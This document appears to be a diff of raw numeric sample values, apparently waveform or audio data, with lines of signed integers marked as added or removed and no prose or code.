--113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --91 --84 --93 --85 --80 --59 --71 --65 --61 --57 --54 --50 --46 --43 --41 --38 --35 +-36 +-34 -33 +-32 -31 -30 -29 --25 --23 --22 --21 --18 --17 --15 --15 --13 --12 --11 --11 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -133 -124 -119 -115 -112 -108 -105 -100 -95 -89 -84 -79 -73 -67 +-28 -27 --90 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --96 --90 --83 -125 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -130 +-26 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 116 108 -101 -98 -95 -93 -91 -88 -85 -81 -76 -72 -66 -62 -57 --36 --97 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --96 --89 --84 -123 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -131 -116 -107 -101 +104 +99 97 -95 -93 +94 90 -88 84 -81 -76 -71 -67 -62 +80 +74 +69 +63 57 -53 -48 -45 -41 -37 -34 -31 +50 +46 +40 +36 +32 29 -27 -24 -23 -21 -20 +25 +22 18 -17 -15 -14 +16 13 12 -11 -10 9 8 -7 -7 6 -5 -5 -4 4 3 -3 +2 +1 +0 +-1 +-2 +-3 +-4 +-5 +-6 +-6 +-8 +-8 +-9 +-10 +-11 +-11 +-80 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-112 +-103 +-112 +-107 +-102 +-95 +-74 +-86 +-81 +-76 +-72 +-69 -65 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --90 --84 --93 +-62 +-58 +-55 +-53 +-50 +-48 +-46 +-44 +-42 +-40 +-38 +-36 +-35 +-33 +-32 +-31 +-30 +-28 +-27 +-26 +-26 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +117 +109 +104 +100 +97 +93 +89 +84 +80 +74 +69 +63 +57 +51 +-43 +-105 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-111 +-104 +-97 +108 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +115 +101 +92 +85 +82 +79 +79 +76 +73 +70 +66 +61 +57 +52 +47 +42 +37 +32 +29 +25 +22 +18 +16 +14 +11 +9 +7 +5 +4 +3 +2 +0 +-1 +-2 +-3 +-4 +-4 +-6 +-6 +-8 +-9 +-9 +-10 +-10 +-10 +-11 +-11 +-12 +-80 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-112 +-105 +-98 +-107 +-101 +-96 +-74 -85 -80 --59 --70 +-77 +-73 +-69 -65 --61 --57 --54 +-62 +-59 +-56 +-53 +-50 +-48 +-46 +-44 +-42 +-40 +-38 +-36 +-35 +-33 +-32 +-31 +-29 +-28 +-27 +-27 +-26 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +125 +116 +109 +103 +99 +96 +92 +89 +85 +80 +74 +69 +64 +58 +52 +47 +41 +37 +32 +29 +25 +22 +19 +17 +14 +13 +10 +9 +6 +5 +3 +2 +0 +-1 +-2 +-3 +-4 +-5 +-6 +-7 +-7 +-8 +-9 +-9 +-10 +-10 +-11 +-80 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-112 +-105 +-97 +-106 +-100 +-95 +-74 +-85 +-80 +-76 +-72 +-68 +-65 +-62 +-59 +-55 +-52 -50 -47 -45 -43 +-41 +-40 -38 +-36 -35 -33 --31 --28 --26 --25 --23 --22 --20 --19 --18 --16 --15 --14 --13 --12 --11 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -131 -123 -119 -114 -111 -108 -104 -99 -95 -90 -85 -79 -74 -67 -62 -57 -52 -47 -43 -40 -37 -33 -31 -29 -27 -25 -23 -21 -19 -18 -17 -16 -14 -14 -12 -11 -10 -9 -9 -8 -7 -7 -6 -5 -5 -4 --65 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --97 --89 --82 --92 --85 --80 --59 --70 --65 --61 --57 --55 --51 --47 --43 --41 --38 --35 -32 -31 -29 --27 --25 --23 --22 --20 --18 --17 --16 --15 --14 --13 --13 --11 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -133 -125 -120 -115 -113 +-29 +-28 +-26 +-26 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +126 +116 109 -105 +103 100 -95 +97 +93 90 85 -78 -73 -67 -62 -56 +80 +75 +70 +64 +58 52 47 -44 -40 +41 37 -33 -31 +32 28 -26 24 -23 21 -20 18 -17 16 -14 13 12 +10 +8 +7 +5 +3 +2 +0 +0 +-1 +-2 +-3 +-4 +-5 +-6 +-7 +-8 +-9 +-9 +-10 +-11 +-11 +-80 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-105 +-98 +-106 +-100 +-96 +-75 +-85 +-80 +-76 +-73 +-69 +-65 +-62 +-59 +-56 +-52 +-50 +-48 +-46 +-44 +-41 +-40 +-38 +-36 +-34 +-33 +-32 +-30 +-29 +-28 +-27 +-26 +-26 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +117 +109 +104 +100 +98 +94 +90 +85 +80 +75 +70 +64 +58 +52 +46 +41 +36 +32 +28 +25 +22 +19 +17 +14 +12 +10 +8 +7 +5 +3 +2 +1 +0 +-2 +-3 +-4 +-4 +-6 +-6 +-8 +-8 +-9 +-10 +-10 +-10 +-11 +-79 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-105 +104 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +114 +100 +91 +84 +81 +78 +77 +74 +72 +68 +65 +60 +56 +50 +46 +41 +-52 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-112 +-105 +-97 +-107 +-101 +-79 +-90 +-69 +-81 +-76 +-73 +-69 +-65 +-62 +-59 +-55 +-53 +-50 +-48 +-45 +-43 +-42 +-40 +-38 +-36 +-34 +-34 +-32 +-31 +-30 +-29 +-28 +-27 +-26 +-25 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +117 +109 +104 +100 +96 +93 +90 +85 +80 +75 +69 +64 +58 +52 +47 +41 +37 +32 +28 +25 +22 +18 +16 +13 +12 +10 +8 +7 +5 +3 +2 +0 +-1 +-1 +-2 +-3 +-4 +-5 +-6 +-8 +-8 +-10 +-10 +-11 +-11 +-11 +-79 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-112 +-104 +100 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +112 +98 +90 +84 +80 +78 +77 +74 +71 +68 +65 +61 +56 +51 +46 +41 +-52 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-111 +-104 +-97 +-107 +-100 +-79 +-90 +-70 +-81 +-76 +-72 +-68 +-65 +-62 +-59 +-56 +-53 +-51 +-48 +-46 +-44 +-42 +-40 +-38 +-36 +-35 +-34 +-33 +-31 +-30 +-30 +-29 +-27 +-26 +-26 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +118 +109 +104 +100 +97 +93 +90 +85 +81 +75 +70 +64 +58 +52 +47 +41 +36 +32 +28 +25 +22 +19 +17 +14 +13 +10 +9 +7 +5 +4 +2 +1 +0 +-2 +-3 +-4 +-5 +-6 +-7 +-7 +-8 +-9 +-9 +-10 +-10 +-11 +-79 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-112 +-105 +-97 +-106 +-101 +-96 +-74 +-85 +-80 +-76 +-72 +-68 +-64 +-61 +-58 +-55 +-52 +-50 +-48 +-45 +-43 +-41 +-39 +-38 +-36 +-35 +-33 +-32 +-31 +-30 +-28 +-27 +-26 +-25 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +117 +109 +104 +100 +98 +94 +90 +85 +80 +75 +69 +63 +57 +51 +47 +41 +37 +32 +28 +25 +22 +18 +16 +13 11 10 +8 +6 +5 +3 +2 +1 +-1 +-2 +-3 +-4 +-4 +-5 +-6 +-7 +-8 +-8 +-9 +-10 +-11 +-12 +-80 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-105 +103 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +112 +99 +90 +84 +80 +78 +76 +74 +71 +68 +64 +60 +55 +49 +46 +41 +-52 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-112 +-105 +-98 +-107 +-101 +-80 +-90 +-69 +-80 +-76 +-72 +-68 +-65 +-62 +-59 +-56 +-54 +-50 +-48 +-46 +-43 +-41 +-39 +-37 +-36 +-34 +-33 +-32 +-31 +-30 +-28 +-27 +-26 +-26 +-25 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +126 +118 +109 +103 +99 +96 +92 +90 +85 +80 +74 +69 +63 +58 +51 +-42 +-105 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-110 +-102 +-112 +109 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +115 +101 +93 +86 +82 +79 +78 +75 +72 +69 +65 +61 +57 +52 +47 +42 +37 +32 +29 +24 +22 +18 +16 +13 +11 +9 +8 +6 +4 +3 +2 +0 +-1 +-2 +-3 +-4 +-5 +-6 +-7 +-8 +-8 +-9 +-10 +-10 +-10 +-11 +-11 +-11 +-80 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-106 +-97 +-106 +-101 +-96 +-75 +-85 +-80 +-77 +-73 +-68 +-65 +-62 +-59 +-56 +-53 +-51 +-48 +-46 +-43 +-42 +-40 +-38 +-37 +-37 +-34 +-32 +-31 +-30 +-28 +-27 +-26 +-26 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +116 +108 +103 +99 +96 +93 +89 +84 +80 +74 +69 +63 +57 +50 +46 +40 +36 +32 +28 +25 +22 +18 +16 +14 +12 +10 +8 +6 +4 +3 +1 +0 +-1 +-2 +-3 +-4 +-5 +-6 +-7 +-8 +-8 +-9 +-10 +-11 +-11 +-11 +-80 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-112 +-104 +-97 +-106 +-101 +-95 +-74 +-85 +-81 +-76 +-72 +-68 +-65 +-62 +-58 +-55 +-52 +-50 +-48 +-45 +-43 +-41 +-40 +-38 +-36 +-35 +-33 +-32 +-31 +-30 +-28 +-28 +-26 +-26 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +126 +116 +109 +104 +100 +97 +92 +89 +84 +80 +74 +69 +63 +58 +52 +47 +41 +37 +32 +28 +25 +22 +18 +16 +14 +12 +10 +8 +6 +4 +3 +1 +0 +-1 +-2 +-3 +-4 +-5 +-6 +-6 +-8 +-8 +-8 +-9 +-9 +-10 +-11 +-79 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-105 +100 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +114 +98 +89 +84 +80 +78 +76 +74 +71 +68 +65 +60 +56 +50 +46 +41 +-52 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-112 +-105 +-98 +-107 +-101 +-80 +-91 +-69 +-81 +-77 +-73 +-68 +-64 +-61 +-58 +-56 +-53 +-50 +-48 +-46 +-43 +-41 +-39 +-38 +-37 +-35 +-34 +-33 +-31 +-30 +-28 +-27 +-26 +-25 +-25 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +117 +108 +103 +100 +97 +93 +90 +85 +80 +75 +70 +64 +58 +52 +-42 +-105 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-110 +-104 +-112 +108 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +116 +101 +92 +86 +83 +80 +79 +75 +73 +70 +66 +62 +57 +51 +47 +42 +-51 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-112 +-104 +-98 +106 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +114 +100 +92 +86 +83 +80 +79 +76 +73 +69 +66 +61 +57 +52 +47 +42 +37 +32 +28 +24 +21 +18 +16 +12 +10 9 8 -8 -7 -6 -5 -5 5 4 --65 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 +3 +2 +0 +0 +-2 +-3 +-4 +-5 +-6 +-6 +-7 +-8 +-9 +-10 +-10 +-11 +-11 +-12 +-12 -97 --89 --82 --92 --86 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-112 +-104 +-97 +-107 +-100 +-95 +-73 +-84 -80 --59 --71 --51 +-75 +-72 +-69 +-65 -62 --57 +-58 +-56 -53 --50 --47 +-51 +-48 +-45 -43 +-42 -40 +-38 -37 -35 --33 --30 +-34 +-32 +-31 +-31 +-29 -28 --26 --25 --22 --21 --20 --18 --17 --16 --14 --13 --12 --12 --11 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -132 -124 -119 -114 -112 -109 -105 -99 -95 -89 -84 -79 -73 -67 -27 --90 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --97 --89 --97 -123 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -131 -117 -109 -102 -99 -95 -94 -91 -89 -85 -81 -77 -72 -67 -62 -57 --36 --97 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --97 --89 --83 -123 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -129 -115 -106 +-26 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +116 +108 +104 +100 +97 +93 +90 +85 +80 +74 +69 +63 +57 +51 +46 +41 +36 +32 +29 +24 +22 +18 +15 +13 +12 +10 +8 +6 +5 +3 +2 +1 +-1 +-2 +-3 +-4 +-5 +-6 +-7 +-7 +-8 +-8 +-9 +-10 +-10 +-11 +-79 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-112 +-106 +-98 +-106 +-101 +-96 +-75 +-85 +-80 +-76 +-73 +-69 +-64 +-61 +-59 +-56 +-53 +-50 +-48 +-47 +-44 +-42 +-40 +-38 +-37 +-35 +-34 +-32 +-31 +-30 +-29 +-28 +-27 +-26 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +117 +109 +104 +100 +97 +93 +89 +84 +80 +74 +69 +63 +57 +51 +46 +41 +36 +32 +28 +24 +22 +20 +17 +15 +12 +10 +8 +6 +4 +3 +1 +0 +-1 +-2 +-2 +-4 +-4 +-5 +-6 +-7 +-8 +-9 +-9 +-10 +-10 +-11 +-80 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-106 +-97 +-106 +-101 +-96 +-74 +-84 +-80 +-76 +-73 +-68 +-65 +-61 +-59 +-55 +-53 +-50 +-48 +-46 +-44 +-42 +-40 +-38 +-37 +-36 +-33 +-32 +-31 +-30 +-29 +-28 +-27 +-26 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +126 +117 +109 +104 +99 +96 +93 +90 +84 +80 +75 +69 +64 +58 +52 +47 +41 +36 +32 +28 +25 +22 +19 +17 +14 +12 +10 +8 +7 +5 +3 +2 +1 +0 +-2 +-2 +-3 +-4 +-5 +-7 +-7 +-8 +-9 +-10 +-10 +-11 +-11 +-80 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-111 +-104 +-97 +-106 +-100 +-95 +-74 +-85 +-80 +-76 +-72 +-69 +-65 +-62 +-59 +-56 +-53 +-50 +-48 +-46 +-44 +-42 +-40 +-38 +-36 +-35 +-33 +-32 +-31 +-30 +-29 +-28 +-27 +-26 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +117 +109 +104 +99 +97 +93 +90 +85 +80 +75 +69 +64 +58 +50 +46 +40 +36 +32 +28 +26 +22 +18 +16 +13 +12 +10 +8 +6 +5 +3 +2 +1 +0 +-1 +-2 +-4 +-5 +-5 +-6 +-7 +-8 +-9 +-10 +-10 +-11 +-11 +-80 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-112 +-104 +-97 +-106 +-101 +-96 +-74 +-85 +-80 +-76 +-72 +-68 +-65 +-62 +-59 +-56 +-53 +-50 +-48 +-46 +-43 +-42 +-39 +-38 +-36 +-35 +-34 +-32 +-31 +-30 +-28 +-27 +-26 +-26 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +117 +110 +105 100 97 -95 -94 -90 -88 -84 -81 -77 -72 -67 -62 -57 --36 --97 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --97 --90 --84 -126 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -131 -117 -108 -101 -98 -95 93 -91 89 85 -81 -76 -72 -67 +80 +75 +68 +63 +58 +51 +46 +42 +36 +32 +28 +25 +22 +19 +16 +14 +11 +10 +8 +6 +4 +3 +2 +1 +0 +-1 +-2 +-3 +-4 +-5 +-6 +-7 +-8 +-9 +-10 +-10 +-10 +-11 +-80 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-112 +-104 +-97 +-106 +-100 +-95 +-74 +-85 +-80 +-76 +-73 +-69 +-65 +-62 +-59 +-56 +-53 +-50 +-48 +-47 +-44 +-41 +-40 +-38 +-37 +-34 +-33 +-32 +-31 +-30 +-28 +-28 +-28 +-27 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +117 +108 +104 +100 +98 +94 +89 +83 +80 +74 +68 63 58 52 46 -43 -39 +41 37 32 -30 -27 -26 -24 -23 -21 -20 -18 -17 -15 +29 +25 +22 +19 +16 14 -13 12 -11 -11 -9 +10 8 -7 6 -6 -5 -5 -5 4 3 -3 --65 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --97 --89 --82 --92 +2 +1 +0 +-1 +-2 +-4 +-5 +-6 +-7 +-7 +-8 +-9 +-9 +-10 +-10 +-10 +-79 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-111 +-104 +-98 +-108 +-102 +-96 +-75 -86 --80 --59 --70 +-81 +-77 +-72 +-68 -65 --61 --57 --52 --49 +-62 +-59 +-56 +-53 +-50 +-48 -46 -43 +-41 -40 -38 -36 +-34 -33 +-32 -31 +-30 -29 +-28 -27 --25 --23 --21 --20 --18 --17 --15 --14 --13 --12 --11 --11 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -131 -123 -118 -114 -111 -108 +-26 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +116 +109 104 -99 -95 -90 -85 -79 -71 -66 -61 -55 -51 +101 +96 +92 +89 +84 +80 +74 +70 +64 +58 +52 47 -43 -40 +41 37 -34 -31 +32 29 -27 25 -23 22 -20 -19 18 16 -14 13 -12 11 -10 9 -8 -8 -7 7 6 -5 -5 4 --65 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --97 --90 --83 --91 --85 +3 +2 +0 +-1 +-3 +-3 +-4 +-5 +-6 +-7 +-8 +-8 +-9 +-10 +-10 +-11 +-11 -80 --59 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-112 +-104 +100 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +113 +99 +90 +85 +82 +79 +77 +74 +72 +69 +65 +61 +57 +51 +47 +41 +-52 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-111 +-104 +-98 +-108 +-102 +-79 +-90 -70 +-81 +-76 +-72 +-68 -65 -61 -58 --54 +-56 +-53 -50 --47 +-48 +-46 -44 -41 +-39 -38 --35 +-36 +-34 -33 +-32 +-32 -30 --29 +-28 +-28 +-27 -26 -25 --23 --22 --21 --19 --17 --16 --15 --14 --13 --12 --11 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -132 -124 -119 -115 -112 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +126 +116 108 +103 +100 +97 +93 +89 +84 +80 +75 +70 +64 +58 +52 +47 +42 +37 +32 +28 +24 +21 +18 +16 +14 +12 +10 +8 +7 +5 +3 +2 +0 +0 +-2 +-2 +-4 +-5 +-5 +-6 +-7 +-8 +-9 +-9 +-10 +-10 +-11 +-80 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-111 +-105 +-98 +-106 +-101 +-96 +-74 +-85 +-80 +-76 +-72 +-68 +-65 +-61 +-59 +-56 +-52 +-50 +-48 +-45 +-43 +-41 +-40 +-38 +-36 +-35 +-34 +-32 +-30 +-29 +-28 +-27 +-26 +-26 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +126 +116 +108 +103 +99 +96 +93 +89 +84 +80 +74 +69 +64 +58 +52 +46 +41 +36 +32 +28 +25 +21 +18 +16 +14 +12 +9 +8 +6 +5 +3 +2 +0 +0 +-2 +-2 +-3 +-4 +-5 +-6 +-7 +-8 +-9 +-9 +-10 +-10 +-10 +-79 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-112 +-104 +-98 +-107 +-101 +-95 +-73 +-85 +-81 +-76 +-72 +-68 +-66 +-62 +-59 +-56 +-53 +-50 +-48 +-45 +-43 +-41 +-39 +-38 +-36 +-34 +-33 +-32 +-31 +-29 +-28 +-28 +-27 +-26 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +126 +116 +108 +103 +99 +96 +93 +90 +85 +80 +75 +69 +64 +58 +51 +46 +41 +37 +32 +29 +25 +22 +19 +16 +14 +12 +9 +8 +6 +4 +3 +2 +0 +-1 +-1 +-3 +-4 +-4 +-5 +-6 +-7 +-8 +-8 +-10 +-10 +-11 +-11 +-80 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-112 +-104 +100 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +112 +99 +90 +84 +82 +79 +77 +75 +72 +69 +65 +60 +56 +50 +46 +41 +-52 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-105 +-97 +-107 +-101 +-80 +-90 +-69 +-81 +-76 +-72 +-68 +-65 +-62 +-58 +-55 +-53 +-50 +-48 +-46 +-44 +-42 